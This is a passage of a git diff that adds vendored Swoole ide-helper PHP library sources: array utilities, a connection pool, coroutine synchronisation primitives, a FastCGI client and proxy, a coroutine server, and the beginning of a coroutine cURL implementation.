mixed $value + * @return $this + */ + public function set($key, $value): self + { + $this->array[$key] = $value; + return $this; + } + + /** + * @param mixed $key + * @return $this + */ + public function delete($key): self + { + unset($this->array[$key]); + return $this; + } + + /** + * @param mixed $value + * @return $this + */ + public function remove($value, bool $strict = true, bool $loop = false): self + { + do { + $key = $this->search($value, $strict); + if ($key === false) { + break; + } + unset($this->array[$key]); + } while ($loop); + + return $this; + } + + /** + * @return $this + */ + public function clear(): self + { + $this->array = []; + return $this; + } + + /** + * @param mixed $key + * @return null|mixed + */ + public function offsetGet($key) + { + if (!array_key_exists($key, $this->array)) { + return null; + } + return $this->array[$key]; + } + + /** + * @param mixed $key + * @param mixed $value + */ + public function offsetSet($key, $value): void + { + $this->array[$key] = $value; + } + + /** + * @param mixed $key + */ + public function offsetUnset($key): void + { + unset($this->array[$key]); + } + + /** + * @param mixed $key + * @return bool + */ + public function offsetExists($key) + { + return isset($this->array[$key]); + } + + /** + * @param mixed $key + */ + public function exists($key): bool + { + return array_key_exists($key, $this->array); + } + + /** + * @param mixed $value + */ + public function contains($value, bool $strict = true): bool + { + return in_array($value, $this->array, $strict); + } + + /** + * @param mixed $value + * @return mixed + */ + public function indexOf($value, bool $strict = true) + { + return $this->search($value, $strict); + } + + /** + * @param mixed $value + * @return mixed + */ + public function lastIndexOf($value, bool $strict = true) + { + $array = $this->array; + for (end($array); ($currentKey = key($array)) !== null; prev($array)) { + $currentValue = current($array); + if ($currentValue == $value) { + if ($strict && $currentValue !== $value) { + continue; + } + break; + } + } + return $currentKey; + } + + /** + * @param mixed $needle + * @return mixed + */ + public function search($needle, bool $strict = true) + { + return array_search($needle, $this->array, $strict); + } + + public function join(string $glue = ''): StringObject + { + return static::detectStringType(implode($glue, $this->array)); + } + + public function serialize(): StringObject + { + return static::detectStringType(serialize($this->array)); + } + + /** + * @param string $string + * @return $this + */ + public function unserialize($string): self + { + $this->array = (array) unserialize((string) $string); + return $this; + } + + /** + * @return float|int + */ + public function sum() + { + return array_sum($this->array); + } + + /** + * @return float|int + */ + public function product() + { + return array_product($this->array); + } + + /** + * @param mixed $value + * @return int + */ + public function push($value) + { + return $this->pushBack($value); + } + + /** + * @param mixed $value + * @return int + */ + public function pushFront($value) + { + return array_unshift($this->array, $value); + } + + public function append(...$values): ArrayObject + { + array_push($this->array, ...$values); + return $this; + } + + /** + * @param mixed $value + * @return int + */ + public function pushBack($value) + { + return array_push($this->array, $value); + } + + /** + * @param mixed $value + * @return $this + */ + public function insert(int $offset, $value): self + { + if (is_array($value) || is_object($value) || is_null($value)) { + $value = [$value]; + } + array_splice($this->array, $offset, 0, $value); + return $this; + } + + /** + * @return mixed + */ + public function pop() + { + return $this->popBack(); + } + + /** + * @return mixed + */ + public function popFront() + { + return array_shift($this->array); + } + + /** + * @return mixed + */ + public function popBack() + { + return array_pop($this->array); + } + + /** + * @param mixed $offset + * @param int $length + * @return static + */ + public function slice($offset, int $length = null, bool $preserve_keys = false): self + { + return new static(array_slice($this->array, ...func_get_args())); + } + + /** + * @return ArrayObject|mixed|StringObject + */ + public function randomGet() + { + return static::detectType($this->array[array_rand($this->array, 1)]); + } + + /** + * @return $this + */ + public function each(callable $fn): self + { + if (array_walk($this->array, $fn) === false) { + throw new RuntimeException('array_walk() failed'); + } + return $this; + } + + /** + * @param array $args + * @return static + */ + public function map(callable $fn, ...$args): self + { + return new static(array_map($fn, $this->array, ...$args)); + } + + /** + * @param null $initial + * @return mixed + */ + public function reduce(callable $fn, $initial = null) + { + return array_reduce($this->array, $fn, $initial); + } + + /** + * @param array $args + * @return static + */ + public function keys(...$args): self + { + return new static(array_keys($this->array, ...$args)); + } + + /** + * @return static + */ + public function values(): self + { + return new static(array_values($this->array)); + } + + /** + * @param mixed $column_key + * @param mixed $index + * @return static + */ + public function column($column_key, $index = null): self + { + return new static(array_column($this->array, $column_key, $index)); + } + + /** + * @return static + */ + public function unique(int $sort_flags = SORT_STRING): self + { + return new static(array_unique($this->array, $sort_flags)); + } + + /** + * @return static + */ + public function reverse(bool $preserve_keys = false): self + { + return new static(array_reverse($this->array, $preserve_keys)); + } + + /** + * @return static + */ + public function chunk(int $size, bool $preserve_keys = false): self + { + return new static(array_chunk($this->array, $size, $preserve_keys)); + } + + /** + * Swap keys and values in an array. + * @return static + */ + public function flip(): self + { + return new static(array_flip($this->array)); + } + + /** + * @return static + */ + public function filter(callable $fn, int $flag = 0): self + { + return new static(array_filter($this->array, $fn, $flag)); + } + + /** + * | Function name | Sorts by | Maintains key association | Order of sort | Related functions | + * | :---------------- | :------- | :-------------------------- | :-------------------------- | :---------------- | + * | array_multisort() | value | associative yes, numeric no | first array or sort options | array_walk() | + * | asort() | value | yes | low to high | arsort() | + * | arsort() | value | yes | high to low | asort() | + * | krsort() | key | yes | high to low | ksort() | + * | ksort() | key | yes | low to high | asort() | + * | natcasesort() | value | yes | natural, case insensitive | natsort() | + * | natsort() | value | yes | natural | natcasesort() | + * | rsort() | value | no | high to low | sort() | + * | shuffle() | value | no | random | array_rand() | + * | sort() | value | no | low to high | rsort() | + * | uasort() | value | yes | user defined | uksort() | + * | uksort() | key | yes | user defined | uasort() | + * | usort() | value | no | user defined | uasort() | + */ + + /** + * @return $this + */ + public function asort(int $sort_flags = SORT_REGULAR): self + { + if (asort($this->array, $sort_flags) !== true) { + throw new RuntimeException('asort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function arsort(int $sort_flags = SORT_REGULAR): self + { + if (arsort($this->array, $sort_flags) !== true) { + throw new RuntimeException('arsort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function krsort(int $sort_flags = SORT_REGULAR): self + { + if (krsort($this->array, $sort_flags) !== true) { + throw new RuntimeException('krsort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function ksort(int $sort_flags = SORT_REGULAR): self + { + if (ksort($this->array, $sort_flags) !== true) { + throw new RuntimeException('ksort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function natcasesort(): self + { + if (natcasesort($this->array) !== true) { + throw new RuntimeException('natcasesort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function natsort(): self + { + if (natsort($this->array) !== true) { + throw new RuntimeException('natsort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function rsort(int $sort_flags = SORT_REGULAR): self + { + if (rsort($this->array, $sort_flags) !== true) { + throw new RuntimeException('rsort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function shuffle(): self + { + if (shuffle($this->array) !== true) { + throw new RuntimeException('shuffle() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function sort(int $sort_flags = SORT_REGULAR): self + { + if (sort($this->array, $sort_flags) !== true) { + throw new RuntimeException('sort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function uasort(callable $value_compare_func): self + { + if (uasort($this->array, $value_compare_func) !== true) { + throw new RuntimeException('uasort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function uksort(callable $value_compare_func): self + { + if (uksort($this->array, $value_compare_func) !== true) { + throw new RuntimeException('uksort() failed'); + } + return $this; + } + + /** + * @return $this + */ + public function usort(callable $value_compare_func): self + { + if (usort($this->array, $value_compare_func) !== true) { + throw new RuntimeException('usort() failed'); + } + return $this; + } + + /** + * @param mixed $value + * @return ArrayObject|mixed|StringObject + */ + protected static function detectType($value) + { + if (is_string($value)) { + return static::detectStringType($value); + } + if (is_array($value)) { + return static::detectArrayType($value); + } + return $value; + } + + protected static function detectStringType(string $value): StringObject + { + return new StringObject($value); + } + + /** + * @return static + */ + protected static function detectArrayType(array $value): self + { + return new static($value); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/ConnectionPool.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/ConnectionPool.php new file mode 100644 index 0000000..c37be02 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/ConnectionPool.php @@ -0,0 +1,100 @@ +pool = new Channel($this->size = $size); + $this->constructor = $constructor; + $this->num = 0; + $this->proxy = $proxy; + } + + public function fill(): void + { + while ($this->size > $this->num) { + $this->make(); + } + } + + public function get() + { + if ($this->pool === null) { + throw new RuntimeException('Pool has been closed'); + } + if ($this->pool->isEmpty() && $this->num < $this->size) { + $this->make(); + } + return $this->pool->pop(); + } + + public function put($connection): void + { + if ($this->pool === null) { + return; + } + if ($connection !== null) { + $this->pool->push($connection); + } else { + /* connection broken */ + $this->num -= 1; + $this->make(); + } + } + + public function close(): void + { + $this->pool->close(); + $this->pool = null; + $this->num = 0; + } + + protected function make(): void + { + $this->num++; + try { + if ($this->proxy) { + $connection = new $this->proxy($this->constructor); + } else { + $constructor = $this->constructor; + $connection = $constructor(); + } + } catch (Throwable $throwable) { + $this->num--; + throw $throwable; + } + $this->put($connection); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Constant.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Constant.php new file mode 100644 index 0000000..9518873 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Constant.php @@ -0,0 +1,404 @@ +timer != -1) { + Timer::clear($this->timer); + if (static::$cancel_list[$this->cid]) { + unset(static::$cancel_list[$this->cid]); + return; + } + } + if ($this->cid != -1) { + Coroutine::resume($this->cid); + } + } + + public static function make() + { + return new static(); + } + + /** + * @throws Exception + */ + public static function wait(Barrier &$barrier, float $timeout = -1) + { + if ($barrier->cid != -1) { + throw new Exception('The barrier is waiting, cannot wait again.'); + } + $cid = Coroutine::getCid(); + $barrier->cid = $cid; + if ($timeout > 0 && ($timeout_ms = intval($timeout * 1000)) > 0) { + $barrier->timer = Timer::after($timeout_ms, function () use ($cid) { + self::$cancel_list[$cid] = true; + Coroutine::resume($cid); + }); + } + $barrier = null; + Coroutine::yield(); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client.php new file mode 100644 index 0000000..861f65e --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client.php @@ -0,0 +1,177 @@ +af = AF_UNIX; + $host = '/' . ltrim(substr($host, strlen('unix:/')), '/'); + $port = 0; + } elseif (strpos($host, ':') !== false) { + $this->af = AF_INET6; + } else { + $this->af = AF_INET; + } + $this->host = $host; + $this->port = $port; + $this->ssl = $ssl; + } + + /** + * @throws Exception + * @return HttpResponse|Response + */ + public function execute(Request $request, float $timeout = -1): Response + { + if (!$this->socket) { + $this->socket = $socket = new Socket($this->af, SOCK_STREAM, IPPROTO_IP); + $socket->setProtocol([ + 'open_ssl' => $this->ssl, + 'open_fastcgi_protocol' => true, + ]); + if (!$socket->connect($this->host, $this->port, $timeout)) { + $this->ioException(); + } + } else { + $socket = $this->socket; + } + $sendData = (string) $request; + if ($socket->sendAll($sendData) !== strlen($sendData)) { + $this->ioException(); + } + $records = []; + while (true) { + if (SWOOLE_VERSION_ID < 40500) { + $recvData = ''; + while (true) { + $tmp = $socket->recv(8192, $timeout); + if (!$tmp) { + if ($tmp === '') { + $this->ioException(SOCKET_ECONNRESET); + } + $this->ioException(); + } + $recvData .= $tmp; + if (FrameParser::hasFrame($recvData)) { + break; + } + } + } else { + $recvData = $socket->recvPacket($timeout); + if (!$recvData) { + if ($recvData === '') { + $this->ioException(SOCKET_ECONNRESET); + } + $this->ioException(); + } + if (!FrameParser::hasFrame($recvData)) { + $this->ioException(SOCKET_EPROTO); + } + } + do { + $records[] = $record = FrameParser::parseFrame($recvData); + } while (strlen($recvData) !== 0); + if ($record instanceof EndRequest) { + if (!$request->getKeepConn()) { + $this->socket->close(); + $this->socket = null; + } + switch (true) { + case $request instanceof HttpRequest: + return new HttpResponse($records); + default: + return new Response($records); + } + } + } + /* never here */ + exit(1); + } + + public static function parseUrl(string $url): array + { + $url = parse_url($url); + $host = $url['host'] ?? ''; + $port = $url['port'] ?? 0; + if (empty($host)) { + $host = $url['path'] ?? ''; + if (empty($host)) { + throw new InvalidArgumentException('Invalid url'); + } + $host = "unix:/{$host}"; + } + return [$host, $port]; + } + + public static function call(string $url, string $path, $data = '', float $timeout = -1): string + { + $client = new Client(...static::parseUrl($url)); + $pathInfo = parse_url($path); + $path = $pathInfo['path'] ?? ''; + $root = dirname($path); + $scriptName = '/' . basename($path); + $documentUri = $scriptName; + $query = $pathInfo['query'] ?? ''; + $requestUri = $query ? "{$documentUri}?{$query}" : $documentUri; + $request = new HttpRequest(); + $request->withDocumentRoot($root) + ->withScriptFilename($path) + ->withScriptName($documentUri) + ->withDocumentUri($documentUri) + ->withRequestUri($requestUri) + ->withQueryString($query) + ->withBody($data) + ->withMethod($request->getContentLength() === 0 ? 'GET' : 'POST'); + $response = $client->execute($request, $timeout); + return $response->getBody(); + } + + protected function ioException(?int $errno = null): void + { + $socket = $this->socket; + if ($errno !== null) { + $socket->errCode = $errno; + $socket->errMsg = swoole_strerror($errno); + } + $socket->close(); + $this->socket = null; + throw new Exception($socket->errMsg, $socket->errCode); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client/Exception.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client/Exception.php new file mode 100644 index 0000000..5ab5f41 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client/Exception.php @@ -0,0 +1,16 @@ +host, $this->port] = Client::parseUrl($url); + $this->documentRoot = $documentRoot; + $this->staticFileFilter = [$this, 'staticFileFiltrate']; + } + + public function withTimeout(float $timeout): self + { + $this->timeout = $timeout; + return $this; + } + + public function withHttps(bool $https): self + { + $this->https = $https; + return $this; + } + + public function withIndex(string $index): self + { + $this->index = $index; + return $this; + } + + public function getParam(string $name): ?string + { + return $this->params[$name] ?? null; + } + + public function withParam(string $name, string $value): self + { + $this->params[$name] = $value; + return $this; + } + + public function withoutParam(string $name): self + { + unset($this->params[$name]); + return $this; + } + + public function getParams(): array + { + return $this->params; + } + + public function withParams(array $params): self + { + $this->params = $params; + return $this; + } + + public function withAddedParams(array $params): self + { + $this->params = $params + $this->params; + return $this; + } + + public function withStaticFileFilter(?callable $filter): self + { + $this->staticFileFilter = $filter; + return $this; + } + + public function translateRequest($userRequest): HttpRequest + { + $request = new HttpRequest(); + if ($userRequest instanceof \Swoole\Http\Request) { + $server = $userRequest->server; + $headers = $userRequest->header; + $pathInfo = $userRequest->server['path_info']; + $pathInfo = '/' . (ltrim($pathInfo, '/')); + if (strlen($this->index) !== 0) { + $extension = pathinfo($pathInfo, PATHINFO_EXTENSION); + if (empty($extension)) { + $pathInfo = rtrim($pathInfo, '/') . '/' . $this->index; + } + } + $requestUri = $scriptName = $documentUri = $server['request_uri']; + $queryString = $server['query_string'] ?? ''; + if (strlen($queryString) !== 0) { + $requestUri .= "?{$server['query_string']}"; + } + $request + ->withDocumentRoot($this->documentRoot) + ->withScriptFilename($this->documentRoot . $pathInfo) + ->withScriptName($scriptName) + ->withDocumentUri($documentUri) + ->withServerProtocol($server['server_protocol']) + ->withServerAddr('127.0.0.1') + ->withServerPort($server['server_port']) + ->withRemoteAddr($server['remote_addr']) + ->withRemotePort($server['remote_port']) + ->withMethod($server['request_method']) + ->withRequestUri($requestUri) + ->withQueryString($queryString) + ->withContentType($headers['content-type'] ?? '') + ->withContentLength((int) ($headers['content-length'] ?? 0)) + ->withHeaders($headers) + ->withBody($userRequest->rawContent()) + ->withAddedParams($this->params); + if ($this->https) { + $request->withParam('HTTPS', '1'); + } + } else { + throw new InvalidArgumentException('Not supported on ' . get_class($userRequest)); + } + return $request; + } + + public function translateResponse(HttpResponse $response, $userResponse): void + { + if ($userResponse instanceof \Swoole\Http\Response) { + $userResponse->status($response->getStatusCode(), $response->getReasonPhrase()); + $userResponse->header = $response->getHeaders(); + $userResponse->cookie = $response->getSetCookieHeaderLines(); + $userResponse->end($response->getBody()); + } else { + throw new InvalidArgumentException('Not supported on ' . get_class($userResponse)); + } + } + + public function pass($userRequest, $userResponse): void + { + if (!($userRequest instanceof HttpRequest)) { + $request = $this->translateRequest($userRequest); + } else { + $request = $userRequest; + } + unset($userRequest); + if ($this->staticFileFilter) { + $filter = $this->staticFileFilter; + if ($filter($request, $userResponse)) { + return; + } + } + $client = new Client($this->host, $this->port); + $response = $client->execute($request, $this->timeout); + $this->translateResponse($response, $userResponse); + } + + /* @return bool ['hit' => true, 'miss' => false] */ + public function staticFileFiltrate(HttpRequest $request, $userResponse): bool + { + if ($userResponse instanceof \Swoole\Http\Response) { + $extension = pathinfo($request->getScriptFilename(), PATHINFO_EXTENSION); + if ($extension !== 'php') { + $realPath = realpath($request->getScriptFilename()); + if (!$realPath || strpos($realPath, $this->documentRoot) !== 0 || !is_file($realPath)) { + $userResponse->status(Http\Status::NOT_FOUND); + } else { + $userResponse->sendfile($realPath); + } + return true; + } + return false; + } + throw new InvalidArgumentException('Not supported on ' . get_class($userResponse)); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server.php new file mode 100644 index 0000000..6550497 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server.php @@ -0,0 +1,153 @@ +contains('::')) { + $this->type = AF_INET6; + } elseif ($_host->startsWith('unix:/')) { + $host = $_host->substr(5)->__toString(); + $this->type = AF_UNIX; + } else { + $this->type = AF_INET; + } + $this->host = $host; + + $socket = new Socket($this->type, SOCK_STREAM, 0); + if ($reuse_port and defined('SO_REUSEPORT')) { + $socket->setOption(SOL_SOCKET, SO_REUSEPORT, true); + } + if (!$socket->bind($this->host, $port)) { + throw new Exception("bind({$this->host}:{$port}) failed", $socket->errCode); + } + if (!$socket->listen()) { + throw new Exception('listen() failed', $socket->errCode); + } + $this->port = $socket->getsockname()['port'] ?? 0; + $this->fd = $socket->fd; + $this->socket = $socket; + $this->setting['open_ssl'] = $ssl; + } + + public function set(array $setting): void + { + $this->setting = array_merge($this->setting, $setting); + } + + public function handle(callable $fn): void + { + $this->fn = $fn; + } + + public function shutdown(): bool + { + $this->running = false; + return $this->socket->cancel(); + } + + public function start(): bool + { + $this->running = true; + if ($this->fn === null) { + $this->errCode = SOCKET_EINVAL; + return false; + } + $socket = $this->socket; + if (!$socket->setProtocol($this->setting)) { + $this->errCode = SOCKET_EINVAL; + return false; + } + + while ($this->running) { + /** @var Socket $conn */ + $conn = null; + $conn = $socket->accept(); + if ($conn) { + $conn->setProtocol($this->setting); + if (SWOOLE_COROUTINE_SOCKET_HAVE_SSL_HANDSHAKE && $this->setting['open_ssl'] ?? false) { + $fn = static function ($fn, $connection) { + /* @var $connection Connection */ + if (!$connection->exportSocket()->sslHandshake()) { + return; + } + $fn($connection); + }; + $arguments = [$this->fn, new Connection($conn)]; + } else { + $fn = $this->fn; + $arguments = [new Connection($conn)]; + } + if (Coroutine::create($fn, ...$arguments) < 0) { + goto _wait; + } + } else { + if ($socket->errCode == SOCKET_EMFILE or $socket->errCode == SOCKET_ENFILE) { + _wait: + Coroutine::sleep(1); + continue; + } + if ($socket->errCode == SOCKET_ETIMEDOUT) { + continue; + } + if ($socket->errCode == SOCKET_ECANCELED) { + break; + } + trigger_error("accept failed, Error: {$socket->errMsg}[{$socket->errCode}]", E_USER_WARNING); + break; + } + } + + return true; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server/Connection.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server/Connection.php new file mode 100644 index 0000000..91c6cb4 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server/Connection.php @@ -0,0 +1,44 @@ +socket = $conn; + } + + public function recv(float $timeout = 0) + { + return $this->socket->recvPacket($timeout); + } + + public function send(string $data) + { + return $this->socket->sendAll($data); + } + + public function close(): bool + { + return $this->socket->close(); + } + + public function exportSocket(): Socket + { + return $this->socket; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/WaitGroup.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/WaitGroup.php new file mode 100644 index 0000000..f2b6a02 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/WaitGroup.php @@ -0,0 +1,70 @@ +chan = new Channel(1); + if ($delta > 0) { + $this->add($delta); + } + } + + public function add(int $delta = 1): void + { + if ($this->waiting) { + throw new BadMethodCallException('WaitGroup misuse: add called concurrently with wait'); + } + $count = $this->count + $delta; + if ($count < 0) { + throw new InvalidArgumentException('WaitGroup misuse: negative counter'); + } + $this->count = $count; + } + + public function done(): void + { + $count = $this->count - 1; + if ($count < 0) { + throw new BadMethodCallException('WaitGroup misuse: negative counter'); + } + $this->count = $count; + if ($count === 0 && $this->waiting) { + $this->chan->push(true); + } + } + + public function wait(float $timeout = -1): bool + { + if ($this->waiting) { + throw new BadMethodCallException('WaitGroup misuse: reused before previous wait has returned'); + } + if ($this->count > 0) { + $this->waiting = true; + $done = $this->chan->pop($timeout); + $this->waiting = false; + return $done; + } + return true; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/functions.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/functions.php new file mode 100644 index 0000000..90a07e8 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/functions.php @@ -0,0 +1,55 @@ + $task) { + Coroutine::create(function () use ($wg, &$tasks, $id, $task) { + $tasks[$id] = null; + $tasks[$id] = $task(); + $wg->done(); + }); + } + $wg->wait($timeout); + return $tasks; +} + +function parallel(int $n, callable $fn): void +{ + $count = $n; + $wg = new WaitGroup($n); + while ($count--) { + Coroutine::create(function () use ($fn, $wg) { + $fn(); + $wg->done(); + }); + } + $wg->wait(); +} + +function map(array $list, callable $fn, float $timeout = -1): array +{ + $wg = new WaitGroup(count($list)); + foreach ($list as $id => $elem) { + Coroutine::create(function () use ($wg, &$list, $id, $elem, $fn): void { + $list[$id] = null; + $list[$id] = $fn($elem); + $wg->done(); + }); + } + $wg->wait($timeout); + return $list; +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Curl/Exception.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Curl/Exception.php new file mode 100644 index 0000000..36ca244 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Curl/Exception.php @@ -0,0 +1,18 @@ + '', + 'content_type' => '', + 'http_code' => 0, + 'header_size' => 0, + 'request_size' => 0, + 'filetime' => -1, + 'ssl_verify_result' => 0, + 'redirect_count' => 0, + 'total_time' => 5.3E-5, + 'namelookup_time' => 0.0, + 'connect_time' => 0.0, + 'pretransfer_time' => 0.0, + 'size_upload' => 0.0, + 'size_download' => 0.0, + 'speed_download' => 0.0, + 'speed_upload' => 0.0, + 'download_content_length' => -1.0, + 'upload_content_length' => -1.0, + 'starttransfer_time' => 0.0, + 'redirect_time' => 0.0, + 'redirect_url' => '', + 'primary_ip' => '', + 'certinfo' => [], + 'primary_port' => 0, + 'local_ip' => '', + 'local_port' => 0, + 'http_version' => 0, + 'protocol' => 0, + 'ssl_verifyresult' => 0, + 'scheme' => '', + ]; + + private $withHeaderOut = false; + + private $withFileTime = false; + + private $urlInfo; + + private $postData; + + private $infile; + + private $infileSize = PHP_INT_MAX; + + private $outputStream; + + private $proxyType; + + private $proxy; + + private $proxyPort = 1080; + + private $proxyUsername; + + private $proxyPassword; + + private $clientOptions = []; + + private $followLocation = false; + + private $autoReferer = false; + + private $maxRedirects; + + private $withHeader = false; + + private $nobody = false; + + /** @var callable */ + private $headerFunction; + + /** @var callable */ + private $readFunction; + + /** @var callable */ + private $writeFunction; + + /** @var callable */ + private $progressFunction; + + private $returnTransfer = false; + + private $method = ''; + + private $headers = []; + + private $transfer; + + private $errCode = 0; + + private $errMsg = ''; + + private $failOnError = false; + + private $closed = false; + + public function __construct(string $url = '') + { + if ($url) { + $this->setUrl($url); + } + } + + public function __toString() + { + if (PHP_VERSION_ID < 70200) { + $id = spl_object_hash($this); + } else { + $id = spl_object_id($this); + } + return "Object({$id}) of type (curl)"; + } + + /* ====== Public APIs ====== */ + + public function isAvailable(): bool + { + if ($this->closed) { + trigger_error('supplied resource is not a valid cURL handle resource', E_USER_WARNING); + return false; + } + return true; + } + + public function setOpt(int $opt, $value): bool + { + return $this->isAvailable() and $this->setOption($opt, $value); + } + + public function exec() + { + if (!$this->isAvailable()) { + return false; + } + return $this->execute(); + } + + public function getInfo() + { + return $this->isAvailable() ? $this->info : false; + } + + public function errno() + { + return $this->isAvailable() ? $this->errCode : false; + } + + public function error() + { + return $this->isAvailable() ? $this->errMsg : false; + } + + public function reset() + { + if (!$this->isAvailable()) { + return false; + } + foreach ((new ReflectionClass(static::class))->getDefaultProperties() as $name => $value) { + $this->{$name} = $value; + } + } + + public function getContent() + { + if (!$this->isAvailable()) { + return false; + } + return $this->transfer; + } + + public function close() + { + if (!$this->isAvailable()) { + return false; + } + foreach ($this as &$property) { + $property = null; + } + $this->closed = true; + } + + private function create(?array $urlInfo = null): void + { + if ($urlInfo === null) { + $urlInfo = $this->urlInfo; + } + $this->client = new Client($urlInfo['host'], $urlInfo['port'], $urlInfo['scheme'] === 'https'); + } + + private function getUrl(): string + { + if (empty($this->urlInfo['path'])) { + $url = '/'; + } else { + $url = $this->urlInfo['path']; + } + if (!empty($this->urlInfo['query'])) { + $url .= '?' . $this->urlInfo['query']; + } + if (!empty($this->urlInfo['fragment'])) { + $url .= '#' . $this->urlInfo['fragment']; + } + return $url; + } + + private function setUrl(string $url, bool $setInfo = true): bool + { + if (strlen($url) === 0) { + $this->setError(CURLE_URL_MALFORMAT, 'No URL set!'); + return false; + } + if (strpos($url, '://') === false) { + $url = 'http://' . $url; + } + if ($setInfo) { + $urlInfo = parse_url($url); + if (!is_array($urlInfo)) { + $this->setError(CURLE_URL_MALFORMAT, "URL[{$url}] using bad/illegal format"); + return false; + } + if (!$this->setUrlInfo($urlInfo)) { + return false; + } + } + $this->info['url'] = $url; + return true; + } + + private function setUrlInfo(array $urlInfo): bool + { + if (empty($urlInfo['scheme'])) { + $urlInfo['scheme'] = 'http'; + } + $scheme = $urlInfo['scheme']; + if ($scheme !== 'http' and $scheme !== 'https') { + $this->setError(CURLE_UNSUPPORTED_PROTOCOL, "Protocol \"{$scheme}\" not supported or disabled in libcurl"); + return false; + } + $host = $urlInfo['host']; + if ($this->info['primary_port'] !== 0) { + /* keep same with cURL, primary_port has the highest priority */ + $urlInfo['port'] = $this->info['primary_port']; + } elseif (empty($urlInfo['port'])) { + $urlInfo['port'] = $scheme === 'https' ? 443 : 80; + } else { + $urlInfo['port'] = intval($urlInfo['port']); + } + $port = $urlInfo['port']; + if ($this->client) { + $oldUrlInfo = $this->urlInfo; + if ( + $host !== $oldUrlInfo['host'] or + $port !== $oldUrlInfo['port'] or + $scheme !== $oldUrlInfo['scheme'] + ) { + /* target changed */ + $this->create($urlInfo); + } + } + $this->urlInfo = $urlInfo; + return true; + } + + private function setPort(int $port): void + { + $this->info['primary_port'] = $port; + if ($this->urlInfo['port'] !== $port) { + $this->urlInfo['port'] = $port; + if ($this->client) { + /* target changed */ + $this->create(); + } + } + } + + private function setError($code, $msg = ''): void + { + $this->errCode = $code; + $this->errMsg = $msg ? $msg : curl_strerror($code); + } + + /** + * @param mixed $value + * @throws Swoole\Curl\Exception + */ + private function setOption(int $opt, $value): bool + { + switch ($opt) { + // case CURLOPT_STDERR: + // case CURLOPT_WRITEHEADER: + case CURLOPT_FILE: + case CURLOPT_INFILE: + if (!is_resource($value)) { + trigger_error(E_USER_WARNING, 'swoole_curl_setopt(): supplied argument is not a valid File-Handle resource'); + return false; + } + break; + } + + switch ($opt) { + /* + * Basic + */ + case CURLOPT_URL: + return $this->setUrl((string) $value); + case CURLOPT_PORT: + $this->setPort((int) $value); + break; + case CURLOPT_FORBID_REUSE: + $this->clientOptions[Constant::OPTION_KEEP_ALIVE] = !$value; + break; + case CURLOPT_RETURNTRANSFER: + $this->returnTransfer = $value; + $this->transfer = ''; + break; + case CURLOPT_ENCODING: + if (empty($value)) { + if (defined('SWOOLE_HAVE_ZLIB')) { + $value = 'gzip, deflate'; + } + if (defined('SWOOLE_HAVE_BROTLI')) { + if (!empty($value)) { + $value = 'br, ' . $value; + } else { + $value = 'br'; + } + } + if (empty($value)) { + break; + } + } + $this->headers['Accept-Encoding'] = $value; + break; + case CURLOPT_PROXYTYPE: + if ($value !== CURLPROXY_HTTP and $value !== CURLPROXY_SOCKS5) { + throw new Swoole\Curl\Exception( + 'swoole_curl_setopt(): Only support following CURLOPT_PROXYTYPE values: CURLPROXY_HTTP, CURLPROXY_SOCKS5' + ); + } + $this->proxyType = $value; + break; + case CURLOPT_PROXY: + $this->proxy = $value; + break; + case CURLOPT_PROXYPORT: + $this->proxyPort = $value; + break; + case CURLOPT_PROXYUSERNAME: + $this->proxyUsername = $value; + break; + case CURLOPT_PROXYPASSWORD: + $this->proxyPassword = $value; + break; + case CURLOPT_PROXYUSERPWD: + $usernamePassword = explode(':', $value); + $this->proxyUsername = urldecode($usernamePassword[0]); + $this->proxyPassword = urldecode($usernamePassword[1] ?? null); + break; + case CURLOPT_PROXYAUTH: + /* ignored temporarily */ + break; + case CURLOPT_NOBODY: + $this->nobody = boolval($value); + $this->method = 'HEAD'; + break; + case CURLOPT_IPRESOLVE: + if ($value !== CURL_IPRESOLVE_WHATEVER and $value !== CURL_IPRESOLVE_V4) { + throw new Swoole\Curl\Exception( + 'swoole_curl_setopt(): Only support following CURLOPT_IPRESOLVE values: CURL_IPRESOLVE_WHATEVER, 